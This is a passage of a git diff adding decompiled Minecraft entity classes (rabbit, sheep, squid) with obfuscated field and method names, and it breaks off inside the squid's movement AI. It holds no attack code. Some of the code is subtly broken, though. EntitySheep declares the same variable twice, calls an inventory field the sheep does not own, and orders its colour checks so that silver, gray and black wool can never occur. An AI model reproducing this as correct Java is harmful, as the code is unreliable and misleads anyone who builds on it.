+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("RabbitType", func_175531_cl());
+    tagCompound.setInteger("MoreCarrotTicks", field_175541_bs);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    func_175529_r(tagCompund.getInteger("RabbitType"));
+    field_175541_bs = tagCompund.getInteger("MoreCarrotTicks");
+  }
+  
+  protected String func_175516_ck()
+  {
+    return "mob.rabbit.hop";
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.rabbit.idle";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.rabbit.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.rabbit.death";
+  }
+  
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    if (func_175531_cl() == 99)
+    {
+      playSound("mob.attack", 1.0F, (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F);
+      return p_70652_1_.attackEntityFrom(DamageSource.causeMobDamage(this), 8.0F);
+    }
+    
+
+    return p_70652_1_.attackEntityFrom(DamageSource.causeMobDamage(this), 3.0F);
+  }
+  
+
+
+
+
+  public int getTotalArmorValue()
+  {
+    return func_175531_cl() == 99 ? 8 : super.getTotalArmorValue();
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    return func_180431_b(source) ? false : super.attackEntityFrom(source, amount);
+  }
+  
+
+
+
+  protected void addRandomArmor()
+  {
+    entityDropItem(new ItemStack(Items.rabbit_foot, 1), 0.0F);
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(2) + rand.nextInt(1 + p_70628_2_);
+    
+
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      dropItem(Items.rabbit_hide, 1);
+    }
+    
+    var3 = rand.nextInt(2);
+    
+    for (var4 = 0; var4 < var3; var4++)
+    {
+      if (isBurning())
+      {
+        dropItem(Items.cooked_rabbit, 1);
+      }
+      else
+      {
+        dropItem(Items.rabbit, 1);
+      }
+    }
+  }
+  
+  private boolean func_175525_a(Item p_175525_1_)
+  {
+    return (p_175525_1_ == Items.carrot) || (p_175525_1_ == Items.golden_carrot) || (p_175525_1_ == Item.getItemFromBlock(Blocks.yellow_flower));
+  }
+  
+  public EntityRabbit func_175526_b(EntityAgeable p_175526_1_)
+  {
+    EntityRabbit var2 = new EntityRabbit(worldObj);
+    
+    if ((p_175526_1_ instanceof EntityRabbit))
+    {
+      var2.func_175529_r(rand.nextBoolean() ? func_175531_cl() : ((EntityRabbit)p_175526_1_).func_175531_cl());
+    }
+    
+    return var2;
+  }
+  
+
+
+
+
+  public boolean isBreedingItem(ItemStack p_70877_1_)
+  {
+    return (p_70877_1_ != null) && (func_175525_a(p_70877_1_.getItem()));
+  }
+  
+  public int func_175531_cl()
+  {
+    return dataWatcher.getWatchableObjectByte(18);
+  }
+  
+  public void func_175529_r(int p_175529_1_)
+  {
+    if (p_175529_1_ == 99)
+    {
+      tasks.removeTask(field_175539_bk);
+      tasks.addTask(4, new AIEvilAttack());
+      targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, false, new Class[0]));
+      targetTasks.addTask(2, new EntityAINearestAttackableTarget(this, EntityPlayer.class, true));
+      targetTasks.addTask(2, new EntityAINearestAttackableTarget(this, EntityWolf.class, true));
+      
+      if (!hasCustomName())
+      {
+        setCustomNameTag(net.minecraft.util.StatCollector.translateToLocal("entity.KillerBunny.name"));
+      }
+    }
+    
+    dataWatcher.updateObject(18, Byte.valueOf((byte)p_175529_1_));
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    Object p_180482_2_1 = super.func_180482_a(p_180482_1_, p_180482_2_);
+    int var3 = rand.nextInt(6);
+    boolean var4 = false;
+    
+    if ((p_180482_2_1 instanceof RabbitTypeData))
+    {
+      var3 = field_179427_a;
+      var4 = true;
+    }
+    else
+    {
+      p_180482_2_1 = new RabbitTypeData(var3);
+    }
+    
+    func_175529_r(var3);
+    
+    if (var4)
+    {
+      setGrowingAge(41536);
+    }
+    
+    return (IEntityLivingData)p_180482_2_1;
+  }
+  
+  private boolean func_175534_cv()
+  {
+    return field_175541_bs == 0;
+  }
+  
+  protected int func_175532_cm()
+  {
+    return field_175542_br.func_180075_c();
+  }
+  
+  protected void func_175528_cn()
+  {
+    worldObj.spawnParticle(net.minecraft.util.EnumParticleTypes.BLOCK_DUST, posX + rand.nextFloat() * width * 2.0F - width, posY + 0.5D + rand.nextFloat() * height, posZ + rand.nextFloat() * width * 2.0F - width, 0.0D, 0.0D, 0.0D, new int[] { Block.getStateId(Blocks.carrots.getStateFromMeta(7)) });
+    field_175541_bs = 100;
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 1)
+    {
+      func_174808_Z();
+      field_175535_bn = 10;
+      field_175540_bm = 0;
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+  public EntityAgeable createChild(EntityAgeable p_90011_1_)
+  {
+    return func_175526_b(p_90011_1_);
+  }
+  
+  class AIAvoidEntity extends EntityAIAvoidEntity
+  {
+    private EntityRabbit field_179511_d = EntityRabbit.this;
+    private static final String __OBFID = "CL_00002238";
+    
+    public AIAvoidEntity(Predicate p_i45865_2_, float p_i45865_3_, double p_i45865_4_, double p_i45865_6_)
+    {
+      super(p_i45865_2_, p_i45865_3_, p_i45865_4_, p_i45865_6_);
+    }
+    
+    public void updateTask()
+    {
+      super.updateTask();
+    }
+  }
+  
+  class AIEvilAttack extends EntityAIAttackOnCollide
+  {
+    private static final String __OBFID = "CL_00002240";
+    
+    public AIEvilAttack()
+    {
+      super(EntityLivingBase.class, 1.4D, true);
+    }
+    
+    protected double func_179512_a(EntityLivingBase p_179512_1_)
+    {
+      return 4.0F + width;
+    }
+  }
+  
+  class AIPanic extends EntityAIPanic
+  {
+    private EntityRabbit field_179486_b = EntityRabbit.this;
+    private static final String __OBFID = "CL_00002234";
+    
+    public AIPanic(double p_i45861_2_)
+    {
+      super(p_i45861_2_);
+    }
+    
+    public void updateTask()
+    {
+      super.updateTask();
+      field_179486_b.func_175515_b(speed);
+    }
+  }
+  
+  class AIRaidFarm extends EntityAIMoveToBlock
+  {
+    private boolean field_179498_d;
+    private boolean field_179499_e = false;
+    private static final String __OBFID = "CL_00002233";
+    
+    public AIRaidFarm()
+    {
+      super(0.699999988079071D, 16);
+    }
+    
+    public boolean shouldExecute()
+    {
+      if (field_179496_a <= 0)
+      {
+        if (!worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing"))
+        {
+          return false;
+        }
+        
+        field_179499_e = false;
+        field_179498_d = EntityRabbit.this.func_175534_cv();
+      }
+      
+      return super.shouldExecute();
+    }
+    
+    public boolean continueExecuting()
+    {
+      return (field_179499_e) && (super.continueExecuting());
+    }
+    
+    public void startExecuting()
+    {
+      super.startExecuting();
+    }
+    
+    public void resetTask()
+    {
+      super.resetTask();
+    }
+    
+    public void updateTask()
+    {
+      super.updateTask();
+      getLookHelper().setLookPosition(field_179494_b.getX() + 0.5D, field_179494_b.getY() + 1, field_179494_b.getZ() + 0.5D, 10.0F, getVerticalFaceSpeed());
+      
+      if (func_179487_f())
+      {
+        World var1 = worldObj;
+        BlockPos var2 = field_179494_b.offsetUp();
+        IBlockState var3 = var1.getBlockState(var2);
+        Block var4 = var3.getBlock();
+        
+        if ((field_179499_e) && ((var4 instanceof BlockCarrot)) && (((Integer)var3.getValue(BlockCarrot.AGE)).intValue() == 7))
+        {
+          var1.setBlockState(var2, Blocks.air.getDefaultState(), 2);
+          var1.destroyBlock(var2, true);
+          func_175528_cn();
+        }
+        
+        field_179499_e = false;
+        field_179496_a = 10;
+      }
+    }
+    
+    protected boolean func_179488_a(World worldIn, BlockPos p_179488_2_)
+    {
+      Block var3 = worldIn.getBlockState(p_179488_2_).getBlock();
+      
+      if (var3 == Blocks.farmland)
+      {
+        p_179488_2_ = p_179488_2_.offsetUp();
+        IBlockState var4 = worldIn.getBlockState(p_179488_2_);
+        var3 = var4.getBlock();
+        
+        if (((var3 instanceof BlockCarrot)) && (((Integer)var4.getValue(BlockCarrot.AGE)).intValue() == 7) && (field_179498_d) && (!field_179499_e))
+        {
+          field_179499_e = true;
+          return true;
+        }
+      }
+      
+      return false;
+    }
+  }
+  
+  static enum EnumMoveType
+  {
+    NONE("NONE", 0, 0.0F, 0.0F, 30, 1), 
+    HOP("HOP", 1, 0.8F, 0.2F, 20, 10), 
+    STEP("STEP", 2, 1.0F, 0.45F, 14, 14), 
+    SPRINT("SPRINT", 3, 1.75F, 0.4F, 1, 8), 
+    ATTACK("ATTACK", 4, 2.0F, 0.7F, 7, 8);
+    
+    private final float field_180076_f;
+    private final float field_180077_g;
+    private final int field_180084_h;
+    private final int field_180085_i;
+    private static final EnumMoveType[] $VALUES = { NONE, HOP, STEP, SPRINT, ATTACK };
+    private static final String __OBFID = "CL_00002239";
+    
+    private EnumMoveType(String p_i45866_1_, int p_i45866_2_, float p_i45866_3_, float p_i45866_4_, int p_i45866_5_, int p_i45866_6_)
+    {
+      field_180076_f = p_i45866_3_;
+      field_180077_g = p_i45866_4_;
+      field_180084_h = p_i45866_5_;
+      field_180085_i = p_i45866_6_;
+    }
+    
+    public float func_180072_a()
+    {
+      return field_180076_f;
+    }
+    
+    public float func_180074_b()
+    {
+      return field_180077_g;
+    }
+    
+    public int func_180075_c()
+    {
+      return field_180084_h;
+    }
+    
+    public int func_180073_d()
+    {
+      return field_180085_i;
+    }
+  }
+  
+  public class RabbitJumpHelper extends EntityJumpHelper
+  {
+    private EntityRabbit field_180070_c;
+    private boolean field_180068_d = false;
+    private static final String __OBFID = "CL_00002236";
+    
+    public RabbitJumpHelper(EntityRabbit p_i45863_2_)
+    {
+      super();
+      field_180070_c = p_i45863_2_;
+    }
+    
+    public boolean func_180067_c()
+    {
+      return isJumping;
+    }
+    
+    public boolean func_180065_d()
+    {
+      return field_180068_d;
+    }
+    
+    public void func_180066_a(boolean p_180066_1_)
+    {
+      field_180068_d = p_180066_1_;
+    }
+    
+    public void doJump()
+    {
+      if (isJumping)
+      {
+        field_180070_c.func_175524_b(EntityRabbit.EnumMoveType.STEP);
+        isJumping = false;
+      }
+    }
+  }
+  
+  class RabbitMoveHelper extends EntityMoveHelper
+  {
+    private EntityRabbit field_179929_g = EntityRabbit.this;
+    private static final String __OBFID = "CL_00002235";
+    
+    public RabbitMoveHelper()
+    {
+      super();
+    }
+    
+    public void onUpdateMoveHelper()
+    {
+      if ((field_179929_g.onGround) && (!field_179929_g.func_175523_cj()))
+      {
+        field_179929_g.func_175515_b(0.0D);
+      }
+      
+      super.onUpdateMoveHelper();
+    }
+  }
+  
+  public static class RabbitTypeData implements IEntityLivingData
+  {
+    public int field_179427_a;
+    private static final String __OBFID = "CL_00002237";
+    
+    public RabbitTypeData(int p_i45864_1_)
+    {
+      field_179427_a = p_i45864_1_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntitySheep.java b/src/minecraft/net/minecraft/entity/passive/EntitySheep.java
new file mode 100644
index 0000000..076fa8a
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntitySheep.java
@@ -0,0 +1,383 @@
+package net.minecraft.entity.passive;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIEatGrass;
+import net.minecraft.entity.ai.EntityAIFollowParent;
+import net.minecraft.entity.ai.EntityAILookIdle;
+import net.minecraft.entity.ai.EntityAIMate;
+import net.minecraft.entity.ai.EntityAIPanic;
+import net.minecraft.entity.ai.EntityAISwimming;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAITempt;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.crafting.CraftingManager;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.World;
+
+public class EntitySheep extends EntityAnimal
+{
+  private final InventoryCrafting inventoryCrafting = new InventoryCrafting(new Container()
+  {
+    private static final String __OBFID = "CL_00001649";
+    
+    public boolean canInteractWith(EntityPlayer playerIn) {
+      return false;
+    }
+  }, 
+  
+
+
+
+
+
+    2, 1);
+  private static final Map field_175514_bm = Maps.newEnumMap(EnumDyeColor.class);
+  
+
+
+  private int sheepTimer;
+  
+
+  private EntityAIEatGrass entityAIEatGrass = new EntityAIEatGrass(this);
+  private static final String __OBFID = "CL_00001648";
+  
+  public static float[] func_175513_a(EnumDyeColor p_175513_0_)
+  {
+    return (float[])field_175514_bm.get(p_175513_0_);
+  }
+  
+  public EntitySheep(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.9F, 1.3F);
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    tasks.addTask(0, new EntityAISwimming(this));
+    tasks.addTask(1, new EntityAIPanic(this, 1.25D));
+    tasks.addTask(2, new EntityAIMate(this, 1.0D));
+    tasks.addTask(3, new EntityAITempt(this, 1.1D, Items.wheat, false));
+    tasks.addTask(4, new EntityAIFollowParent(this, 1.1D));
+    tasks.addTask(5, entityAIEatGrass);
+    tasks.addTask(6, new EntityAIWander(this, 1.0D));
+    tasks.addTask(7, new EntityAIWatchClosest(this, EntityPlayer.class, 6.0F));
+    tasks.addTask(8, new EntityAILookIdle(this));
+    inventoryCrafting.setInventorySlotContents(0, new ItemStack(Items.dye, 1, 0));
+    inventoryCrafting.setInventorySlotContents(1, new ItemStack(Items.dye, 1, 0));
+  }
+  
+  protected void updateAITasks()
+  {
+    sheepTimer = entityAIEatGrass.getEatingGrassTimer();
+    super.updateAITasks();
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (worldObj.isRemote)
+    {
+      sheepTimer = Math.max(0, sheepTimer - 1);
+    }
+    
+    super.onLivingUpdate();
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(8.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.23000000417232513D);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, new Byte((byte)0));
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    if (!getSheared())
+    {
+      entityDropItem(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, func_175509_cj().func_176765_a()), 0.0F);
+    }
+    
+    int var3 = rand.nextInt(2) + 1 + rand.nextInt(1 + p_70628_2_);
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      if (isBurning())
+      {
+        dropItem(Items.cooked_mutton, 1);
+      }
+      else
+      {
+        dropItem(Items.mutton, 1);
+      }
+    }
+  }
+  
+  protected Item getDropItem()
+  {
+    return Item.getItemFromBlock(Blocks.wool);
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 10)
+    {
+      sheepTimer = 40;
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+  public float getHeadRotationPointY(float p_70894_1_)
+  {
+    return sheepTimer < 4 ? (sheepTimer - p_70894_1_) / 4.0F : (sheepTimer >= 4) && (sheepTimer <= 36) ? 1.0F : sheepTimer <= 0 ? 0.0F : -(sheepTimer - 40 - p_70894_1_) / 4.0F;
+  }
+  
+  public float getHeadRotationAngleX(float p_70890_1_)
+  {
+    if ((sheepTimer > 4) && (sheepTimer <= 36))
+    {
+      float var2 = (sheepTimer - 4 - p_70890_1_) / 32.0F;
+      return 0.62831855F + 0.2199115F * MathHelper.sin(var2 * 28.7F);
+    }
+    
+
+    return sheepTimer > 0 ? 0.62831855F : rotationPitch / 57.295776F;
+  }
+  
+
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if ((var2 != null) && (var2.getItem() == Items.shears) && (!getSheared()) && (!isChild()))
+    {
+      if (!worldObj.isRemote)
+      {
+        setSheared(true);
+        int var3 = 1 + rand.nextInt(3);
+        
+        for (int var4 = 0; var4 < var3; var4++)
+        {
+          EntityItem var5 = entityDropItem(new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, func_175509_cj().func_176765_a()), 1.0F);
+          motionY += rand.nextFloat() * 0.05F;
+          motionX += (rand.nextFloat() - rand.nextFloat()) * 0.1F;
+          motionZ += (rand.nextFloat() - rand.nextFloat()) * 0.1F;
+        }
+      }
+      
+      var2.damageItem(1, p_70085_1_);
+      playSound("mob.sheep.shear", 1.0F, 1.0F);
+    }
+    
+    return super.interact(p_70085_1_);
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setBoolean("Sheared", getSheared());
+    tagCompound.setByte("Color", (byte)func_175509_cj().func_176765_a());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    setSheared(tagCompund.getBoolean("Sheared"));
+    func_175512_b(EnumDyeColor.func_176764_b(tagCompund.getByte("Color")));
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.sheep.say";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.sheep.say";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.sheep.say";
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.sheep.step", 0.15F, 1.0F);
+  }
+  
+  public EnumDyeColor func_175509_cj()
+  {
+    return EnumDyeColor.func_176764_b(dataWatcher.getWatchableObjectByte(16) & 0xF);
+  }
+  
+  public void func_175512_b(EnumDyeColor p_175512_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 & 0xF0 | p_175512_1_.func_176765_a() & 0xF)));
+  }
+  
+
+
+
+  public boolean getSheared()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x10) != 0;
+  }
+  
+
+
+
+  public void setSheared(boolean p_70893_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    
+    if (p_70893_1_)
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 | 0x10)));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 & 0xFFFFFFEF)));
+    }
+  }
+  
+  public static EnumDyeColor func_175510_a(Random p_175510_0_)
+  {
+    int var1 = p_175510_0_.nextInt(100);
+    return p_175510_0_.nextInt(500) == 0 ? EnumDyeColor.PINK : var1 < 18 ? EnumDyeColor.BROWN : var1 < 15 ? EnumDyeColor.SILVER : var1 < 10 ? EnumDyeColor.GRAY : var1 < 5 ? EnumDyeColor.BLACK : EnumDyeColor.WHITE;
+  }
+  
+  public EntitySheep func_180491_b(EntityAgeable p_180491_1_)
+  {
+    EntitySheep var2 = (EntitySheep)p_180491_1_;
+    EntitySheep var3 = new EntitySheep(worldObj);
+    var3.func_175512_b(func_175511_a(this, var2));
+    return var3;
+  }
+  
+
+
+
+
+  public void eatGrassBonus()
+  {
+    setSheared(false);
+    
+    if (isChild())
+    {
+      addGrowth(60);
+    }
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    p_180482_2_ = super.func_180482_a(p_180482_1_, p_180482_2_);
+    func_175512_b(func_175510_a(worldObj.rand));
+    return p_180482_2_;
+  }
+  
+  private EnumDyeColor func_175511_a(EntityAnimal p_175511_1_, EntityAnimal p_175511_2_)
+  {
+    int var3 = ((EntitySheep)p_175511_1_).func_175509_cj().getDyeColorDamage();
+    int var4 = ((EntitySheep)p_175511_2_).func_175509_cj().getDyeColorDamage();
+    inventoryCrafting.getStackInSlot(0).setItemDamage(var3);
+    inventoryCrafting.getStackInSlot(1).setItemDamage(var4);
+    ItemStack var5 = CraftingManager.getInstance().findMatchingRecipe(inventoryCrafting, worldObj);
+    int var6;
+    int var6;
+    if ((var5 != null) && (var5.getItem() == Items.dye))
+    {
+      var6 = var5.getMetadata();
+    }
+    else
+    {
+      var6 = worldObj.rand.nextBoolean() ? var3 : var4;
+    }
+    
+    return EnumDyeColor.func_176766_a(var6);
+  }
+  
+  public float getEyeHeight()
+  {
+    return 0.95F * height;
+  }
+  
+  public EntityAgeable createChild(EntityAgeable p_90011_1_)
+  {
+    return func_180491_b(p_90011_1_);
+  }
+  
+  static
+  {
+    field_175514_bm.put(EnumDyeColor.WHITE, new float[] { 1.0F, 1.0F, 1.0F });
+    field_175514_bm.put(EnumDyeColor.ORANGE, new float[] { 0.85F, 0.5F, 0.2F });
+    field_175514_bm.put(EnumDyeColor.MAGENTA, new float[] { 0.7F, 0.3F, 0.85F });
+    field_175514_bm.put(EnumDyeColor.LIGHT_BLUE, new float[] { 0.4F, 0.6F, 0.85F });
+    field_175514_bm.put(EnumDyeColor.YELLOW, new float[] { 0.9F, 0.9F, 0.2F });
+    field_175514_bm.put(EnumDyeColor.LIME, new float[] { 0.5F, 0.8F, 0.1F });
+    field_175514_bm.put(EnumDyeColor.PINK, new float[] { 0.95F, 0.5F, 0.65F });
+    field_175514_bm.put(EnumDyeColor.GRAY, new float[] { 0.3F, 0.3F, 0.3F });
+    field_175514_bm.put(EnumDyeColor.SILVER, new float[] { 0.6F, 0.6F, 0.6F });
+    field_175514_bm.put(EnumDyeColor.CYAN, new float[] { 0.3F, 0.5F, 0.6F });
+    field_175514_bm.put(EnumDyeColor.PURPLE, new float[] { 0.5F, 0.25F, 0.7F });
+    field_175514_bm.put(EnumDyeColor.BLUE, new float[] { 0.2F, 0.3F, 0.7F });
+    field_175514_bm.put(EnumDyeColor.BROWN, new float[] { 0.4F, 0.3F, 0.2F });
+    field_175514_bm.put(EnumDyeColor.GREEN, new float[] { 0.4F, 0.5F, 0.2F });
+    field_175514_bm.put(EnumDyeColor.RED, new float[] { 0.6F, 0.2F, 0.2F });
+    field_175514_bm.put(EnumDyeColor.BLACK, new float[] { 0.1F, 0.1F, 0.1F });
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntitySquid.java b/src/minecraft/net/minecraft/entity/passive/EntitySquid.java
new file mode 100644
index 0000000..72d7e5f
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntitySquid.java
@@ -0,0 +1,286 @@
+package net.minecraft.entity.passive;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIBase;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+
+
+
+
+
+
+
+public class EntitySquid
+  extends EntityWaterMob
+{
+  public float squidPitch;
+  public float prevSquidPitch;
+  public float squidYaw;
+  public float prevSquidYaw;
+  public float squidRotation;
+  public float prevSquidRotation;
+  public float tentacleAngle;
+  public float lastTentacleAngle;
+  private float randomMotionSpeed;
+  private float rotationVelocity;
+  private float field_70871_bB;
+  private float randomMotionVecX;
+  private float randomMotionVecY;
+  private float randomMotionVecZ;
+  private static final String __OBFID = "CL_00001651";
+  
+  public EntitySquid(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.95F, 0.95F);
+    rand.setSeed(1 + getEntityId());
+    rotationVelocity = (1.0F / (rand.nextFloat() + 1.0F) * 0.2F);
+    tasks.addTask(0, new AIMoveRandom());
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(10.0D);
+  }
+  
+  public float getEyeHeight()
+  {
+    return height * 0.5F;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return null;
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return null;
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return null;
+  }
+  
+
+
+
+  protected float getSoundVolume()
+  {
+    return 0.4F;
+  }
+  
+  protected Item getDropItem()
+  {
+    return null;
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(3 + p_70628_2_) + 1;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      entityDropItem(new ItemStack(Items.dye, 1, EnumDyeColor.BLACK.getDyeColorDamage()), 0.0F);
+    }
+  }
+  
+
+
+
+
+  public boolean isInWater()
+  {
+    return worldObj.handleMaterialAcceleration(getEntityBoundingBox().expand(0.0D, -0.6000000238418579D, 0.0D), Material.water, this);
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    prevSquidPitch = squidPitch;
+    prevSquidYaw = squidYaw;
+    prevSquidRotation = squidRotation;
+    lastTentacleAngle = tentacleAngle;
+    squidRotation += rotationVelocity;
+    
+    if (squidRotation > 6.283185307179586D)
+    {
+      if (worldObj.isRemote)
+      {
+        squidRotation = 6.2831855F;
+      }
+      else
+      {
+        squidRotation = ((float)(squidRotation - 6.283185307179586D));
+        
+        if (rand.nextInt(10) == 0)
+        {
+          rotationVelocity = (1.0F / (rand.nextFloat() + 1.0F) * 0.2F);
+        }
+        
+        worldObj.setEntityState(this, (byte)19);
+      }
+    }
+    
+    if (inWater)
+    {
+
+
+      if (squidRotation < 3.1415927F)
+      {
+        float var1 = squidRotation / 3.1415927F;
+        tentacleAngle = (MathHelper.sin(var1 * var1 * 3.1415927F) * 3.1415927F * 0.25F);
+        
+        if (var1 > 0.75D)
+        {
+          randomMotionSpeed = 1.0F;
+          field_70871_bB = 1.0F;
+        }
+        else
+        {
+          field_70871_bB *= 0.8F;
+        }
+      }
+      else
+      {
+        tentacleAngle = 0.0F;
+        randomMotionSpeed *= 0.9F;
+        field_70871_bB *= 0.99F;
+      }
+      
+      if (!worldObj.isRemote)
+      {
+        motionX = (randomMotionVecX * randomMotionSpeed);
+        motionY = (randomMotionVecY * randomMotionSpeed);
+        motionZ = (randomMotionVecZ * randomMotionSpeed);
+      }
+      
+      float var1 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+      renderYawOffset += (-(float)Math.atan2(motionX, motionZ) * 180.0F / 3.1415927F - renderYawOffset) * 0.1F;
+      rotationYaw = renderYawOffset;
+      squidYaw = ((float)(squidYaw + 3.141592653589793D * field_70871_bB * 1.5D));
+      squidPitch += (-(float)Math.atan2(var1, motionY) * 180.0F / 3.1415927F - squidPitch) * 0.1F;
+    }
+    else
+    {
+      tentacleAngle = (MathHelper.abs(MathHelper.sin(squidRotation)) * 3.1415927F * 0.25F);
+      
+      if (!worldObj.isRemote)
+      {
+        motionX = 0.0D;
+        motionY -= 0.08D;
+        motionY *= 0.9800000190734863D;
+        motionZ = 0.0D;
+      }
+      
+      squidPitch = ((float)(squidPitch + (-90.0F - squidPitch) * 0.02D));
+    }
+  }
+  
+
+
+
+  public void moveEntityWithHeading(float p_70612_1_, float p_70612_2_)
+  {
+    moveEntity(motionX, motionY, motionZ);
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return (posY > 45.0D) && (posY < 63.0D) && (super.getCanSpawnHere());
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 19)
+    {
+      squidRotation = 0.0F;
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+  public void func_175568_b(float p_175568_1_, float p_175568_2_, float p_175568_3_)
+  {
+    randomMotionVecX = p_175568_1_;
+    randomMotionVecY = p_175568_2_;
+    randomMotionVecZ = p_175568_3_;
+  }
+  
+  public boolean func_175567_n()
+  {
+    return (randomMotionVecX != 0.0F) || (randomMotionVecY != 0.0F) || (randomMotionVecZ != 0.0F);
+  }
+  
+  class AIMoveRandom extends EntityAIBase
+  {
+    private EntitySquid field_179476_a = EntitySquid.this;
+    private static final String __OBFID = "CL_00002232";
+    
+    AIMoveRandom() {}
+    
+    public boolean shouldExecute() { return true; }
+    
+
+    public void updateTask()
+    {
+      int var1 = field_179476_a.getAge();
+      
+      if (var1 > 100)
+      {
+        field_179476_a.func_175568_b(0.0F, 0.0F, 0.0F);
+      }
